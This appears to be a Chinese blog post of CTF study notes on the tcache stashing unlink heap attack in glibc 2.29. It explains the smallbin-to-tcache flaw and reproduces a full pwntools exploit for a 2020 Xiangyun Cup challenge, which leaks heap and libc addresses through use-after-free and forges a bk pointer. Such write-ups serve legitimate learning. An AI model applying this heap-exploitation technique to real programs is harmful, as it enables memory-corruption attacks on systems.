学习tcache-stashing-unlik

libc2.29下stash利用学习笔记

Posted by X1ng on November 23, 2020

周末打了祥云杯,就做出了两道很常规的pwn,有一道没见过的利用stash的题,听说smallbin要有两个chunk,把两个chunk搞到smallbin之后就只能看着学长输出了,赛后学习一波

smallbin

smallbin有不同大小的62个,每个smallbin也是一个由对应free chunk组成的循环双链表,采用FIFO(先入先出)算法(释放操作就将新释放的chunk添加到链表的front end(前端);分配操作就从链表的rear end(尾端)中获取chunk)

漏洞原理

漏洞的成因就是在同时使用tcache和smallbin时,如果向smallbin申请chunk后,smallbin里还有chunk并且对应的tcache未被填满(也不能为空),则会将smallbin中剩余的chunk放入tcache里

但是在对应tcache未被填满的情况下不能往smallbin中放入chunk,在对应tcache未空的情况下不能从smallbin中取出chunk,上面这种情况好像不会发生

其实是如果使用calloc分配内存的话,就不会从tcache中取chunk,这样就可以在对应tcache未空的情况下从smallbin中取出chunk,而如果在calloc之前先从tcache申请chunk,就可以满足上面的情况

将smallbin中的chunk放入tcache部分源码如下

//如果成功获取了smallbin中最后一个chunk,则进入if分支
if (tc_victim != 0)
{
	// 让bck指向smallbin中倒数第二个chunk
	bck = tc_victim->bk;
	set_inuse_bit_at_offset (tc_victim, nb);
	if (av != &main_arena)
	set_non_main_arena (tc_victim);
	//从smallbin取出最后一个chunk的unlink操作
	bin->bk = bck;
	bck->fd = bin;
	//将其放入到tcache中
	tcache_put (tc_victim, tc_idx);
}

由于smallbin的FIFO性质,在向smallbin申请chunk的时候会将先进入的chunk分配给用户,也就是说如果能改写后进入smallbin的chunk的bk指针(也就是源码中的bck)为目标地址-0x10,在后面的unlink操作中bac->fd = bin就会将目标地址(也就是目标地址-0x10+0x10)修改为fd,从而实现向目标地址写入一个libc地址的效果

例题复现

祥云杯2020 Beauty_Of_ChangChun

例行检查

ida打开

先看看开始的初始化函数

会将flag读取到mmap分配的随机地址中,然后在前面加一个随机数,还给了这个随机地址

add函数用calloc分配,bss段存chunk的address和size

delete函数

free后只用LOBYTE(dword_202060[v1]) = 0;清空size的低位,如果chunk大小为0x100可以uaf

有edit函数

show函数限制了次数

重点函数

在show两次之后可以malloc一次,再调用则将指定idx的chunk中的内容与初始化函数中产生的随机数比较,相同则输出flag

还给了一个calloc申请chunk的函数

思路就是uaf泄露堆地址和libc,构造smallbin中保存两个chunk,然后malloc申请掉一个tcache的chunk,uaf写smallbin中后进入的chunk的bk为*buf-0x10,这样再次调用calloc的时候就会将flag前面的随机数写为一个libc中的地址

贴一下 @PTT0 学长的exp:

#!/usr/bin/python

from pwn import *
import sys

context.log_level = 'debug'
context.arch='amd64'

local=1
binary_name='pwn'

if local:
    p=process("./"+binary_name)

else:
    p=remote('112.126.71.170',43652)
    e=ELF("./"+binary_name)


def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass
      
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()

def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,b'\x00'))

def cho(num):
    sla("scenery\n",str(num))
def add(size):
    cho(1)
    sla("size:",str(size))
def delete(idx):
    cho(2)
    sla("idx:",str(idx))
def show(idx):
    cho(4)
    sla("idx:",str(idx))
def edit(idx,data):
    cho(3)
    sla("idx:",str(idx))
    sa("chat:",data)
def gift1(idx):
    cho(5)
    sla("idx",str(idx))
def gift2():
    cho(666)

p.recvline()
addr = int(p.recvline()[:-1],16)


for i in range(7):
    add(0xf0)
    delete(0)
add(0xf0)#0

add(0xf0)#1

add(0x80)#2

delete(0)
delete(1)

z('b*$rebase(0x1608)')
add(0x100)#0

add(0xe0)#1

delete(1)
add(0x100)#1

delete(2)
add(0x90)#2


delete(0)
edit(0,'aaaa')
delete(0)
show(0)
p.recvuntil('see\n')
heap_base = leak_address()-0x2a0-0x700

edit(0,'aaaa')
delete(0)
edit(0,'aaaa')
delete(0)
edit(0,'aaaa')
delete(0)
edit(0,'aaaa')
delete(0)
edit(0,'aaaa')
delete(0)
edit(0,'aaaa')

delete(1)
show(1)
p.recvuntil('see\n')
libc_base = leak_address()-0x1ebbe0
print(hex(heap_base),hex(libc_base))
delete(0)
gift2()
cho(5)
sl(p64(heap_base+0xc20)+p64(addr-0x10))

delete(2)
add(0x100)#2
edit(2,p64(libc_base+0x1ebce0))
print(hex(addr))

gift1(2)
ia()

还有更高级的利用方法,有空再学习

参考资料:

Linux堆内存管理深入分析

Tcache Stashing Unlink Attack利用思路